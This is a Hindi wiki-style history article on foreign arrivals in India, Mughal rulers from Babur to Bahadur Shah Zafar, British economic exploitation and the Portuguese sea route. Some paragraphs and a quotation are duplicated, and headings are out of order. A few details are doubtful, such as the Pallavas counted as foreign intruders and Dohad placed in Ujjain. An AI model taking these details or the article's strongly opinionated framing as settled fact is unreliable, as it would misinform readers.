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भारतीयों की फूट तथा विघटनकारी तत्त्वों के कारण अठारहवीं शताब्दी में [[भारत]] पर [[अंग्रेज़|अंग्रेज़ों]] का प्रभुत्व जम गया। [[भारत का इतिहास|भारत के इतिहास]] में लगभग पहली बार ऐसा हुआ कि, इसके प्रशासन और भाग्य-निर्णय की डोर एक ऐसी विदेशी जाति के हाथों में चली गई, जिसकी मातृभूमि कई हज़ार मील दूर अवस्थित थी। इस तरह की पराधीनता भारत के लिए एक सर्वथा नया अनुभव थी, क्योंकि यों तो अतीत में भारत पर कई आक्रमण हुए थे, समय-समय पर भारतीय प्रदेश के कुछ भाग अस्थायी तौर पर विजेताओं के उपनिवेशों में शामिल हो गये थे, पर ऐसे अवसर कम ही आये थे, और उनकी अवधि भी अत्यल्प ही रही थी। भारत पर अंग्रेज़ों ने एक विदेशी की तरह शासन किया। ऐसे कम ही अंग्रेज़ शासक हुए, जिन्होंने भारत को अपना देश समझा और कल्याणकारी भावना से उत्प्रेरित होकर शासन किया। उन्होंने व्यापार और राजनीतिक साधनों के माध्यम से भारत का आर्थिक शोषण किया और '''धन-निकास की नीति''' अपनाकर देश को खोखला कर डाला। उन्होंने भारतीयों के नैतिक मनोबल पर सदैव आघात किया। इस काल के इतिहास के पन्ने इस बात को सिद्ध करते हैं कि, एक ओर जहाँ ब्रिटिश सत्ता के भारत में स्थापित हो जाने के बाद देश में घोर अन्धकारपूर्ण और निराशाजनक वातावरण स्थापित हो गया, वहीं दूसरी ओर देश को ग़ुलामी की ओर धकेल दिया गया।<ref name="mcc">{{cite web |url=http://pustak.org/home.php?bookid=4577 |title=आधुनिक भारत का इतिहास - भाग 1 |accessmonthday= 2 अगस्त|accessyear=2011|last=पाण्डेय|first=धनपति|authorlink= |format= |publisher=मोतीलाल बनारसीदास पब्लिशर्स|language=[[हिन्दी]] }}</ref>
'''भारतवर्ष''' प्राचीन काल से ही सु-संस्कृत तथा उन्नत देश रहा है। इसकी [[सिंधु घाटी सभ्यता|सैन्धव सभ्यता]] विश्व के किसी भी देश की सभ्यता से कम महत्त्व की नहीं थी। इसकी धरती पर ही भगवान [[बुद्ध]] जैसे महापुरुष पैदा हुए, जिन्होंने सम्पूर्ण विश्व को ही अपना कुटुम्ब माना तथा समस्त जीवों पर दया करने का शाश्वत सन्देश दिया। यहीं 'देवानांप्रिय' [[अशोक]] ने शासन किया, जिसने शक्ति के बल पर नहीं, प्रेम-बल पर अपने साम्राज्य का विस्तार किया और जन-जन के हृदय का सम्राट बन गया। [[बंगाल]] के [[पाल वंश|पाल]] नरेशों एवं [[थानेश्वर]] के राजाओं के काल में भारतवर्ष में ऐसी प्रोन्नत शिक्षा-प्रणाली तथा शिक्षण संस्थाओं का संगठन हुआ, कि संसार के विभिन्न देशों के जिज्ञासु छात्र और ज्ञान-पिपासु विद्वान, अपनी मानसिक बुभुक्षा की तृप्ति तथा ज्ञान-प्राप्ति के लिए यहाँ आये।
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==भारत का पतन==
==विदेशी जातियों तथा कम्पनियों का आगमन==
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{{दाँयाबक्सा|पाठ=यह बात शुरू में ही साफ़ हो गई थी कि, सफलता अंग्रेज़ों के हाथ लगेगी, और उसके कारण स्पष्ट थे। वे राष्ट्रवाद में विश्वास रखते थे, जबकि [[भारत]] में न यह भावना थी, और न ही अनुशासन। युद्ध-कौशल तथा रणनीति में [[अंग्रेज़]] भारतीयों की अपेक्षा कहीं आगे थे। भारतीय सैनिक निष्ठावान तो थे, पर इन्हें भी अपने राजा के प्रति पूर्ण ईमानदार और वफ़ादार नहीं कहा जा सकता। [[भारत का इतिहास|भारतीय इतिहास]] में न जाने कितने ही सहायकों और विश्वासपात्रों ने अपने ही राजाओं को धोखा दिया और उनके साथ विश्वासघात करके उन्हें मौत के घाट उतार दिया। इन्हीं सब बातों से भारतीयों का अपनी भूमि पर ही पतन हुआ।|विचारक=}}
भारतवर्ष में विदेशियों का आगमन मुख्यतः दो मार्गों से हुआ- 'स्थल मार्ग' और 'जल मार्ग' (सामुद्रिक)। उन्होंने उत्तर-पश्चिम सीमा को लाँघकर स्थल मार्गों के द्वारा तथा विभिन्न सामुद्रिक मार्गों द्वारा भारतवर्ष में प्रवेश किया। स्थल मार्गों से ही [[मुसलमान]] भारत आये थे। [[मुग़ल]] शासकों ने अपने काल में विदेशियों के आगमन को रोकने के लिए बड़ी स्थल-सेना तो रखी, किन्तु वे [[जल]]-सेना के महत्त्व को नहीं समझ सके और इसलिए उनके काल में अरक्षित समुद्र-मार्गों से यूरोपीय लोग भारत–प्रवेश में सफल हो गये। [[भारत]] आकर [[यूरोप]] की व्यापारिक जातियों के लोग भारतीय इतिहास को एक नया मोड़ देने लगे।<ref name="mcc">{{cite web |url=http://pustak.org/home.php?bookid=4577 |title=आधुनिक भारत का इतिहास - भाग 1|accessmonthday=31 जुलाई |accessyear=2011|last=पाण्डेय |first=धनपति |authorlink= |format= |publisher=मोतीलाल बनारसीदास पब्लिशर्स |language= [[हिन्दी]]}}</ref>
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भारत के प्रति [[इंग्लैण्ड]] की अधिकार लिप्सा की भावना बहुत पहले ही उभरने लगी थी, तथा अंग्रेज़ लोग भारत को अपने अधिकार की वस्तु और सब प्रकार से पतित देश मानने लगे। भारत का उपयोग इंग्लैण्ड के लिए करना उनका प्रमुख दृष्टिकोण बन गया था। अंग्रेज़ प्रशासन, न भारतीय जनता के प्रति सहानुभूति रखता था और न ही भारतवासियों के कल्याण के प्रति सजग था। इंग्लैण्ड में जो क़ानून या नियम भारत के सम्बन्ध में बनाये जाने लगे थे, उनके प्रति यह ब्रिटिश नीति बनी कि, भारत के हितों का इंग्लैण्ड के लिए सदैव बलिदान किया जाना चाहिए। अंग्रेज़ों की इस नीति के कारण भारत उत्तरोत्तर आर्थिक दृष्टि से निर्धन और सांस्कृतिक दृष्टि से हीन होता चला गया। भारत के पतन के सम्बन्ध में कई प्रसिद्ध व्यक्तियों ने अपने विचार रखे हैं, उनमें से कुछ इस प्रकार से हैं-
====नये सामुद्रिक मार्गों की खोज====
 
प्राचीन काल से ही भारत एवं पश्चिम के देशों के बीच अच्छे सम्बन्ध थे और वे एक-दूसरे के साथ व्यापार करते थे। परन्तु सातवीं शताब्दी से अरबों ने [[हिन्द महासागर]] तथा [[लाल महासागर]] के सामुद्रिक व्यापार पर क़ब्ज़ा कर लिया। वे अपनी बड़ी नावों में भारतीय सामानों को भरकर पश्चिम से ले जाते थे और उन्हें वेनिस तथा जेनेवा के सौदागरों के हाथ बेचते थे। पन्द्रहवीं सदी के अन्तिम चतुर्थांश में भारत में यूरोप के लोगों का प्रवेश अधिक होने लगा। इसके कुछ विशेष कारण थे। यूरोप में रेनेसॉ आया था, जिसने यूरोपवासियों को [[कला]], [[साहित्य]], [[विज्ञान]], भौगोलिक खोजों आदि के क्षेत्र में प्रगति एवं परिवर्तन लाने का नया दृष्टिकोण दिया था। किन्तु रेनेसॉ का सर्वाधिक महत्त्वपूर्ण प्रभाव भौगोलिक खोज पर पड़ा। भौगोलिक खोज के सिलसिले में पश्चिम की जातियों का भारत के सम्बन्ध में ज्ञान प्राप्त करना और यहाँ आना निश्चित-सा हो गया। जब भारतीय शासकों ने स्थल-मार्ग पर अनेक प्रतिबन्ध लगाये और विदेशी व्यापारियों को विभिन्न व्यापारिक कठिनाइयों का सामना करना पड़ा, तब इन व्यापारियों ने स्थल मार्ग को छोड़कर जल-मार्ग का पता लगाना प्रारम्भ किया। उनका श्रम निष्फल नहीं गया। उन्होंने सामुद्रिक मार्ग खोज निकाले।
 
{{seealso|प्रशान्त महासागर|हिन्द महासागर|लाल महासागर|ख़ैबर दर्रा}}
 
==भारत पर मुस्लिम शासन==
 
कालान्तर में समय ने पलटा खाया और भारतवर्ष पर मुसलमानों का शासन-भार लद गया। आरम्भिक मध्य युगों में तुर्क और बाद में चग़ताई [[मुग़ल वंश|मुग़ल]] स्थायी साम्राज्य स्थापित कर शासन करने लगे। स्थायी शासन के पूर्व एवं मध्य भाग में [[भारत]] पर कई अस्थायी एवं तूफानी आक्रमण हुए। [[पल्लव वंश|पल्लवों]], [[शक|शकों]] और [[हूण|हूणों]] की घुसपैठ अल्पकालीन सिद्ध हुई। [[सिकन्दर]], [[नादिरशाह]] और [[अहमदशाह अब्दाली]] के तूफानी आक्रमण हुए और समाप्त हुए। स्थायी रूप से तुर्क और [[मुग़ल]] ही शासन स्थापित कर सके। मुग़ल शासकों में [[बाबर]], [[हुमायूँ]], [[अकबर]], [[जहाँगीर]], [[शाहजहाँ]] और [[औरंगज़ेब]] आदि ने अपने कार्यों और योगदानों से एक न मिटने वाला इतिहास छोड़ा। अनेकों का ख़ून बहाकर और सदियों तक शासन करके भी कुछ मुस्लिम विजेता भारतीय संस्कृति को विकृत न कर सके। इसके विपरीत, वे भारतीय संस्कृति के [[रंग]] में रंगते गये। अपने विदेश स्थित ठिकानों से उन्होंने अपने पुराने सम्बन्धों को तोड़ डाला और भारतीयों के साथ अपना भाग्य जोड़[[चित्र:Babar.jpg|thumb|150px|[[बाबर]]]] लिया। जीवन की व्यावहारिक आवश्यकताओं ने उन्हें अपनी प्रजा के साथ अधिकाधिक सामाजिक सम्बन्ध स्थापित करने को विवश किया। नये वातावरण के अनुसार और प्रशासन के हित में, उन्होंने शासन और व्यवस्था सम्बन्धी अपने सिद्धान्तों तथा मान्यताओं में भी परिवर्तन किये। अपने कितने ही विदेशी रीति-रिवाजों को उन्होंने त्याग दिया और भारतीय जीवन तथा सुंस्कृति के तत्त्वों को ग्रहण कर लिया। केवल कहने भर को भारतीय गौरव और देश का [[इतिहास]] उनकी तलवार तथा धर्म ([[इस्लाम धर्म|इस्लाम]]) के सामने श्रीहीन हुआ था। वे भारतीय बन गए थे, भारत उनका देश हो चुका था। [[डॉ. राममनोहर लोहिया]] ने लिखा है : '[[राम]] और [[रहीम]] एक थे, [[हिन्दू]] और [[मुसलमान]] एक ही धरती की दो सन्तानें थीं।'<ref name="mcc"/>
 
====बाबर====
 
{{main|बाबर}}
 
14 फ़रवरी, 1483 ई. को फ़रग़ना में 'ज़हीरुद्दीन मुहम्मद बाबर' का जन्म हुआ। बाबर अपने पिता की ओर से [[तैमूर]] का पाँचवा एवं माता की ओर से [[चंगेज़ ख़ाँ]] ([[मंगोल]] नेता) का चौदहवाँ वंशज था। उसका परिवार तुर्की जाति के 'चग़ताई वंश' के अन्तर्गत आता था। बाबर अपने पिता 'उमर शेख़ मिर्ज़ा' की मृत्यु के बाद 11 वर्ष की आयु में शासक बना। उसने अपना राज्याभिषेक अपनी दादी ‘ऐसान दौलत बेगम’ के सहयोग से करवाया। बाबर ने अपने फ़रग़ना के शासन काल में 1501 ई. में समरकन्द पर अधिकार किया, जो मात्र आठ महीने तक ही उसके क़ब्ज़े में रहा। 1504 ई. में क़ाबुल विजय के उपरांत बाबर ने अपने पूर्वजों द्वारा धारण की गई उपाधि ‘मिर्ज़ा’ का त्याग कर नई उपाधि ‘पादशाह’ धारण की।
 
[[चित्र:Humayun.jpg|thumb|150px|[[हुमायूँ]]]]
 
====हुमायूँ====
 
{{main|हुमायूँ}}
 
26 दिसम्बर, 1530 ई. को [[बाबर]] की मृत्यु के बाद 30 दिसम्बर, 1530 ई. को 23 वर्ष की आयु में हुमायूँ का राज्याभिषेक किया गया। बाबर ने अपनी मृत्यु से पूर्व ही हुमायूँ को गद्दी का उत्तराधिकारी घोषित कर दिया था। हुमायूँ को उत्तराधिकार देने के साथ ही साथ बाबर ने विस्तृत साम्राज्य को अपने भाईयों में बाँटने का निर्देश भी दिया था, अतः उसने [[अस्करी|असकरी]] को सम्भल, हिन्दाल को मेवात तथा कामरान को [[पंजाब]] की सूबेदारी प्रदान की थी। साम्राज्य का इस तरह से किया गया विभाजन हुमायूँ की भयंकर भूलों में से एक था, जिसके कारण उसे अनेक आन्तरिक कठिनाइयों का सामना करना पड़ा और कालान्तर में हुमायूँ के भाइयों ने उसका साथ नहीं दिया। वास्तव में अविवेकपूर्णढंग से किया गया साम्राज्य का यह विभाजन, कालान्तर में हुमायूँ के लिए घातक सिद्ध हुआ। यद्यपि उसके सबसे प्रबल शत्रु [[अफ़ग़ान]] थे।, किन्तु भाइयों का असहयोग और हुमायूँ की कुछ व्यैक्तिक कमज़ोरियाँ उसकी असफलता का कारण सिद्ध हुईं।
 
====शेरशाह====
 
{{main|शेरशाह सूरी}}[[चित्र:Shershah-Suri.jpg|thumb|130px|[[शेरशाह]]]]
 
शेरशाह सूरी के बचपन का नाम 'फ़रीद ख़ाँ' था। वह वैजवाड़ा (होशियारपुर 1472 ई.) में अपने पिता 'हसन ख़ाँ' की अफ़ग़ान पत्‍नी से उत्पन्न था। उसका पिता हसन, [[बिहार]] के [[सासाराम]] का ज़मींदार था। फ़रीद ख़ाँ ने अपने अधिकारों की रक्षा एवं शक्ति के विस्तार के लिए बिहार के सुल्तान मुहम्मद शाह नुहानी के यहाँ नौकरी कर ली। एक बार शिकार पर गये नुहानी के साथ फ़रीद ख़ाँ ने एक शेर को तलवार के एक ही बार से मार दिया। उसकी इस बहादुरी से प्रसन्न होकर मुहम्मद शाह ने उसे ‘शेर ख़ाँ’ की उपाधि प्रदान की। 1529 ई. में बंगाल के शासक को परास्त करके शेरख़ाँ ने 'हजरत-ए-आला' की उपाधि धारण की। 1530 ई. में शेरख़ाँ ने चुनार के किलेदार ताज ख़ाँ की विधवा लाड़मलिका से विवाह करके चुनार का क़िला तथा बहुत सम्पत्ति प्राप्त की। हुमायूँ को हराने वाला शेर ख़ाँ, 'सूर' नाम के क़बीले का [[पठान]] सरदार था। वह 'शेरशाह' के नाम से बादशाह हुआ। उसने [[आगरा]] को अपनी राजधानी बनाया था।
 
====अकबर====
 
{{main|अकबर}}[[चित्र:Akbar.jpg|thumb|150px|[[अकबर]]]]
 
अकबर महान (1556-1605 ई.) का जन्म 23 नवंबर, 1542 ई. को 'हमीदा बानू बेगम' के गर्भ से [[अमरकोट]] के राणा ‘वीरसाल’ के महल में हुआ था। आजकल कितने ही लोग अमरकोट को उमरकोट समझने की ग़लती करते हैं। वस्तुत: यह इलाका [[राजस्थान]] का अभिन्न अंग था। आज भी वहाँ [[हिन्दू]] [[राजपूत]] बसते हैं। रेगिस्तान और [[सिंध]] की सीमा पर होने के कारण [[अंग्रेज़|अंग्रेज़ों]] ने इसे सिंध के साथ जोड़ दिया और विभाजन के बाद वह [[पाकिस्तान]] का अंग बन गया। [[अकबर]] के बचपन का नाम 'बदरुद्दीन' था। 1546 ई. में अकबर के खतने के समय हुमायूँ ने उसका नाम 'जलालुद्दीन मुहम्मद अकबर' रखा। अकबर के जन्म के समय की स्थिति सम्भवतः हुमायूँ के जीवन की सर्वाधिक कष्टप्रद स्थिति थी। इस समय उसके पास अपने साथियों को बांटने के लिए एक कस्तूरी के अतिरिक्त कुछ भी न था।
 
{{seealso|अकबरनामा|अबुल फ़ज़ल|तानसेन|बीरबल|रहीम|टोडरमल}}
 
====जहाँगीर====
 
{{main|जहाँगीर}}[[चित्र:Jahangir.jpg|thumb|150px|[[जहाँगीर]]]]
 
'नूरुद्दीन सलीम जहाँगीर' का जन्म [[फ़तेहपुर सीकरी]] में स्थित ‘शेख़ सलीम चिश्ती’ की कुटिया में राजा भारमल की बेटी ‘मरियम ज़मानी’ के गर्भ से 30 अगस्त, 1569 ई. को हुआ था। [[अकबर]] सलीम को ‘शेख़ू बाबा’ कहा करता था। सलीम का मुख्य शिक्षक [[रहीम|अब्दुर्रहीम ख़ानख़ाना]] था। सर्वप्रथम 1581 ई. में सलीम (जहाँगीर) को एक सैनिक टुकड़ी का मुखिया बनाकर [[काबुल]] पर आक्रमण के लिए भेजा गया। 1585 ई. में अकबर ने जहाँगीर को 12 हज़ार [[मनसबदार]] बनाया। 13 फ़रबरी, 1585 ई. को सलीम का विवाह आमेर के राजा भगवानदास की पुत्री ‘मानबाई’ से सम्पन्न हआ। मानबाई को जहाँगीर ने ‘शाह बेगम’ की उपाधि प्रदान की थी। मानबाई ने जहाँगीर की शराब की आदतों से दुखी होकर आत्महत्या कर ली। कालान्तर में जहाँगीर ने राजा उदयसिंह की पुत्री ‘जगत गोसाई’ या 'जोधाबाई' से विवाह किया था।
 
====शाहजहाँ====
 
{{main|शाहजहाँ}}
 
शाहजहाँ का जन्म [[जोधपुर]] के शासक राजा उदयसिंह की पुत्री 'जगत गोसाई' (जोधाबाई) के गर्भ से 5 जनवरी, 1592 ई. को [[लाहौर]] में हुआ था। उसका बचपन का नाम 'ख़ुर्रम' था। ख़ुर्रम जहाँगीर का छोटा पुत्र था, जो छल−बल से अपने [[पिता]] का उत्तराधिकारी हुआ था। वह बड़ा कुशाग्र बुद्धि, साहसी और शौक़ीन बादशाह था। वह बड़ा [[कला]] प्रेमी, विशेषकर स्थापत्य कला का प्रेमी था।[[चित्र:Tajmahal-03.jpg|thumb|200px|[[ताजमहल]]]] उसका विवाह 20 वर्ष की आयु में नूरजहाँ के भाई [[आसफ़ ख़ाँ]] की पुत्री 'आरज़ुमन्द बानो' से सन 1611 में हुआ था। वही बाद में 'मुमताज़ महल' के नाम से उसकी प्रियतमा बेगम हुई। 20 वर्ष की आयु में ही शाहजहाँ, जहाँगीर शासन का एक शक्तिशाली स्तंभ समझा जाता था। फिर उस विवाह से उसकी शक्ति और भी बढ़ गई थी। नूरजहाँ, आसफ़ ख़ाँ और उनका पिता मिर्ज़ा गियासबेग़ जो जहाँगीर शासन के कर्त्ता-धर्त्ता थे, शाहजहाँ के विश्वसनीय समर्थक हो गये थे। शाहजहाँ के शासन−काल में [[मुग़ल साम्राज्य]] की समृद्धि, शान−शौक़त और ख्याति चरम सीमा पर थी। उसके दरबार में देश−विदेश के अनेक प्रतिष्ठित व्यक्ति आते थे। वे शाहजहाँ के वैभव और ठाट−बाट को देख कर चकित रह जाते थे।
 
====औरंगज़ेब====
 
{{main|औरंगज़ेब}}
 
'मुहीउद्दीन मुहम्मद औरंगज़ेब' का जन्म 4 नवम्बर, 1618 ई. में [[उज्जैन]] के ‘दोहद’ नामक स्थान पर मुमताज के गर्भ से हुआ था। औरंगज़ेब के बचपन का अधिकांश समय नूरजहाँ के पास बीता था। 1643 ई. में औरंगज़ेब को 10,000 जात एवं 4000 सवार का मनसब प्राप्त हुआ। ‘ओरछा’ के जूझर सिंह के विरुद्ध औरंगज़ेब को प्रथम युद्ध का अनुभव प्राप्त हुआ था। 18 मई, 1637 ई. को [[फ़ारस]] के राजघराने की 'दिलरास बानो बेगम' के साथ औरंगज़ेब का निकाह हुआ। 1636 ई. से 1644 ई. एवं 1652 ई. से 1657 ई. तक औरंगज़ेब [[गुजरात]] (1645 ई.), मुल्तान (1640 ई.) एवं [[सिंध]] का भी गर्वनर रहा। [[आगरा]] पर क़ब्ज़ा कर जल्दबाज़ी में औरंगज़ेब ने अपना राज्याभिषक "अबुल मुजफ्फर मुहीउद्दीन मुजफ्फर औरंगज़ेब बहादुर आलमगीर" की उपाधि से 31 जुलाई, 1658 ई. को [[दिल्ली]] में करवाया। ‘खजुवा’ एवं ‘देवराई’ के युद्ध में सफल होने के बाद 15 मई, 1659 ई. को औरंगज़ेब ने दिल्ली में प्रवेश किया, जहाँ [[शाहजहाँ]] के शानदार महल में जून, 1659 ई. को औरंगज़ेब का दूसरी बार राज्याभिषेक हुआ।
 
[[चित्र:Bahadur-Shah-II.jpg|thumb|150px|[[बहादुर शाह ज़फ़र]]]]
 
====बहादुर शाह ज़फ़र====
 
{{main|बहादुर शाह ज़फ़र}}
 
बहादुर शाह ज़फ़र [[मुग़ल]] साम्राज्य के अंतिम बादशाह थे। इनका शासनकाल 1837-58 तक था। बहादुर शाह ज़फ़र एक कवि, संगीतकार व खुशनवीस थे और राजनीतिक नेता के बजाय सौंदर्यानुरागी व्यक्ति अधिक थे। बहादुर शाह ज़फ़र का जन्म 24 अक्तूबर सन 1775 ई. को दिल्ली में हुआ था। बहादुर शाह [[अकबर द्वितीय|अकबरशाह द्वितीय]] और लालबाई के दूसरे पुत्र थे। अपने शासनकाल के अधिकांश समय उनके पास वास्तविक सत्ता नहीं रही और वह [[अंग्रेज़|अंग्रेज़ों]] पर आश्रित रहे।
 
{{seealso|हेमू|ताजमहल|फ़तेहपुर सीकरी|चित्रकला मुग़ल शैली}}
 
====मुस्लिमों का योगदान====
 
मुस्लिम शासकों ने भारतीय [[संस्कृति]] एवं प्रशासन के विकास में महत्त्वपूर्ण योगदान किया। [[ग़यासुद्दीन बलबन]] ने संप्रभुता का सिद्धान्त दिया, [[अलाउद्दीन ख़िलजी]] ने उत्तरी तथा दक्षिण भारत के विविध राज्यों को जीतकर 'अखिल भारत' का संदेश दिया। [[शेरशाह सूरी]] श्रेष्ठ प्रशासन की स्थापना करके ब्रिटिश शासकों का भी आदर्श बन गया, [[अकबर]] ने हिन्दू-मुस्लिम एकता एवं समन्वय का सद्प्रयास किया और [[शाहजहाँ]] ने कलात्मक उन्नति एवं श्रेष्ठता को पराकाष्ठा पर पहुँचा दिया। किन्तु इस शासन में भी भारतीयता का आधार यथावत रहा। यद्यपि मुस्लिम आधिपत्य के कारण भारत के प्राचीन समाजों में कई राजनीतिक तथा सांस्कृतिक परिवर्तन आये, तथापि उसकी प्राचीन संस्कृति का आधार और स्वरूप अधिकांशतः ज्यों-का-त्यों रहा। भारतीयों ने नवागन्तुकों को प्रभावित किया और वे उनसे प्रभावित भी हुए। उन्होंने विजताओं द्वारा प्रचलन में लाई गई नई सामाजिक पद्धतियाँ सीखीं। कट्टर [[एकेश्वरवाद]] और समतावादी समाज पर बल देने वाले इस्लाम धर्म के प्रभाव ने कतिपय प्रतिक्रियाएँ उत्पन्न कीं, और [[हिन्दू धर्म]] तथा सामाजिक पद्धतियों में एक आलोड़न पैदा हुआ। मुसलमानों की भाषाओं और साहित्यों ने हिन्दुओं की वाणी और लेखन पर व्यापक प्रभाव डाला। नये शब्द, मुहावरे और साहित्यिक विधाओं ने इस देश की धरती में जड़े जमाई और नये प्रतीकों तथा धारणाओं ने उनकी विचार-शैली को सम्पन्न किया। एक नई साहित्यिक [[भाषा]] विकसित हुई और [[मध्यकालीन भारत]] में कितने ही वास्तुकला, चित्रकला और संगीत कलाओं के साथ-साथ अन्य कलाओं में भी भारी परिवर्तन आये और ऐसी नई शैलियों ने जन्म लिया, जिनमें दोनों के ही तत्त्व विद्यमान थे। तेरहवीं शताब्दी में यह जो प्रक्रिया आरम्भ हुई, वह पाँच सौ वर्ष तक चलती रही।<ref>{{cite book | last =ताराचन्द| first =| title =भारतीय स्वतन्त्रता आन्दोलन का इतिहास| edition =| publisher =| location =| language =हिन्दी| pages =पृष्ठ सं. 16| chapter =खण्ड 1}}</ref>
 
==अंग्रेज़ों का अधिकार==
 
आगे के आने वाले चरणों में [[भारत का इतिहास|भारत के इतिहास]] में परिवर्तन आया। भारतीयों की फूट तथा विघटनकारी तत्त्वों के कारण अठारहवीं शताब्दी में [[भारत]] पर [[अंग्रेज़|अंग्रेज़ों]] का प्रभुत्व जम गया। भारत के इतिहास में लगभग पहली बार ऐसा हुआ कि, इसके प्रशासन और भाग्य-निर्णय की डोर एक ऐसी विदेशी जाति के हाथों में चली गई, जिसकी मातृभूमि कई हज़ार मील दूर अवस्थित थी। इस तरह की पराधीनता भारत के लिए एक सर्वथा नया अनुभव थी, क्योंकि यों तो अतीत में भारत पर कई आक्रमण हुए थे, समय-समय पर भारतीय प्रदेश के कुछ भाग अस्थायी तौर पर विजेताओं के उपनिवेशों में शामिल हो गये थे, पर ऐसे अवसर कम ही आये थे और उनकी अवधि भी अत्यल्प ही रही थी। भारत पर अंग्रेज़ों ने एक विदेशी की तरह शासन किया। ऐसे कम ही अंग्रेज़ शासक हुए, जिन्होंने भारत को अपना देश समझा और कल्याणकारी भावना से उत्प्रेरित होकर शासन किया। उन्होंने व्यापार और राजनीतिक साधनों के माध्यम से भारत का आर्थिक शोषण किया और '''धन-निकासी नीति''' अपनाकर देश को खोखला कर डाला। उन्होंने भारतीयों के नैतिक मनोबल पर सदैव आघात किया। इस काल के इतिहास के पन्ने इस बात को सिद्ध करते हैं कि, एक ओर जहाँ ब्रिटिश सत्ता के भारत में स्थापित हो जाने के बाद देश में घोर अन्धकारपूर्ण और निराशाजनक वातावरण स्थापित हो गया, वहीं दूसरी ओर देश को ग़ुलामी की ओर धकेल दिया गया।<ref name="mcc"/>
 
{{seealso|अंग्रेज़|गवर्नर-जनरल|ईस्ट इण्डिया कम्पनी}}
 
====पुर्तग़ालियों द्वारा भारत की खोज====
 
नये सामुद्रिक मार्गों की खोज की सारा श्रेय [[पुर्तग़ाली|पुर्तग़ालियों]] को प्राप्त है। [[पुर्तग़ाल]] के राजकुमार 'हेनरी' (1393-1460 ई.) ने इस दिशा में सराहनीय क़दम उठाया। उसने एक प्रशिक्षण संस्थान की स्थापना की, जहाँ नाविकों को वैज्ञानिक ढंग से प्रशिक्षण दिया जाने लगा और उन्हें जल-परिभ्रमण कला की बारीकियाँ बतलायी जाने लगीं। उसने सामुद्रिक यात्रियों को विभिन्न प्रकार की मदद देकर सामुद्रिक यात्रा के लिए उत्प्रेरणा दी। उसी के सहयोग तथा सहायता के फलस्वरूप अफ़्रीकी समुद्र-तटों की खोज करने में पुर्तग़ाली सफल हुए। हेनरी इस बात में विश्वास करता था कि, एक दिन पुर्तग़ाल के साहसिक यात्री अफ़्रीका की परिक्रमा करते-करते निश्चित रूप से [[भारत]] जाने का मार्ग खोज निकालने में सफल होंगे। हेनरी से उत्साहित होकर ही 'बार्थोलोम्यू डियाज' ने 1488 ई. में अफ़्रीका महाद्वीप के दक्षिण भाग तक की यात्रा की, और उत्तमाशा अन्तरीप को पार कर गया। इसके पूर्व पुर्तग़ाल के नाविक 1471 ई. में विषुवत रेखा को पार कर चुके थे और 1484 ई. में 'कांगों' तक पहुँच गये थे। पुर्तग़ाल के एक अन्य राजा 'जॉन द्वितीय' ने कोविल्हम तथा पेबिया नामक नाविकों को [[मिस्र]] के मार्ग से हिन्द महासागर की खोज के लिए भेजा। इनमें कोविल्हम को अधिक सफलता मिली। वह यात्रा के सिलसिले में भारत में [[मालाबार तट]] तक आ धमका तथा वहाँ से [[अरब]] पार करते हुए उसने अफ़्रीका के पूर्वी तट पर अपने चरण धरे। इन खोजों से प्रभावित होकर पुर्तग़ालवासी [[वास्कोडिगामा]] नामक एक सामुद्रिक यात्री ने 17 मई, 1498 ई. को 'केप ऑफ़् गुडहोप' होकर भारत जाने का मार्ग ढ़ूँढ़ निकाला। इस प्रसिद्ध यात्री ने 8 जुलाई, 1497 ई. को अपनी यात्रा प्रारम्भ की, और उत्तमाशा अन्तरीप तथा मोजाम्बीक पार करते हुए भारत के पश्चिमी तटीय प्रदेश [[कालीकट]] पर आ गया।
 
{{seealso|पुर्तग़ाली|फ़्राँसीसी|डच|वास्कोडिगामा}}
 
====भारत का पतन====
 
भारत के प्रति [[इंग्लैण्ड]] की अधिकार लिप्सा की भावना उभरने लगी थी, तथा अंग्रेज़ लोग भारत को अपने अधिकार की वस्तु और सब प्रकार से पतित देश मानने लगे। भारत का उपयोग इंग्लैण्ड के लिए करना उनका प्रमुख दृष्टिकोण बन गया। अंग्रेज़ प्रशासन, न भारतीय जनता के प्रति सहानुभूति रखता था और न ही भारतवासियों के कल्याण के प्रति सजग था। इंग्लैण्ड में जो क़ानून या नियम भारत के सम्बन्ध में बनाये जाने लगे थे, उनके प्रति यह ब्रिटिश नीति बनी कि, भारत के हितों का इंग्लैण्ड के लिए सदैव बलिदान किया जाना चाहिए। अंग्रेज़ों की इस नीति के कारण भारत उत्तरोत्तर आर्थिक दृष्टि से निर्धन और सांस्कृतिक दृष्टि से हीन होता चला गया। भारत के पतन के सम्बन्ध में कई प्रसिद्ध व्यक्तियों ने अपने विचार रखे हैं, उनमें से कुछ इस प्रकार से हैं-
 
  
*'''केशव चन्द्र सेन''' के अनुसार -  "आज हम अपने चारों ओर जो देखते हैं, वह है एक गिरा हुआ राष्ट्र। एक ऐसा राष्ट्र, जिसकी प्राचीन महानता खण्डहरों में गड़ी हुई पड़ी है। उसका राष्ट्रीय [[साहित्य]] और [[विज्ञान]], उसका अध्यात्म ज्ञान और दर्शन, उसका उद्योग और वाणिज्य, उसकी सामाजिक समृद्धि और गार्हस्थिक सादगी और मधुरता ऐसी है, जिसकी गिनती लगभग अतीत की वस्तुओं में की जाती है। जब हम आध्यात्मिक, सामाजिक और बौद्धिक दृष्टि से उजड़े हुए, शोकयुक्त और उदासीन दृश्य, जो हमारे सामने फैला हुआ है, का निरीक्षण करते हैं, तो हम व्यर्थ ही उसमें [[कालिदास]] के देश-कविता, विज्ञान और सभ्यता के देश को पहचानने का प्रयत्न करते हैं।"
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*'''केशव चन्द्र सेन''' के अनुसार -  "आज हम अपने चारों ओर जो देखते हैं, वह है एक गिरा हुआ राष्ट्र। एक ऐसा राष्ट्र, जिसकी प्राचीन महानता खण्डहरों में गड़ी हुई पड़ी है। उसका राष्ट्रीय [[साहित्य]] और [[विज्ञान]], उसका अध्यात्म ज्ञान और [[दर्शन]], उसका उद्योग और वाणिज्य, उसकी सामाजिक समृद्धि और गार्हस्थिक सादगी और मधुरता ऐसी है, जिसकी गिनती लगभग अतीत की वस्तुओं में की जाती है। जब हम आध्यात्मिक, सामाजिक और बौद्धिक दृष्टि से उजड़े हुए, शोकयुक्त और उदासीन दृश्य, जो हमारे सामने फैला हुआ है, का निरीक्षण करते हैं, तो हम व्यर्थ ही उसमें [[कालिदास]] के देश-कविता, विज्ञान और सभ्यता के देश को पहचानने का प्रयत्न करते हैं।"
 
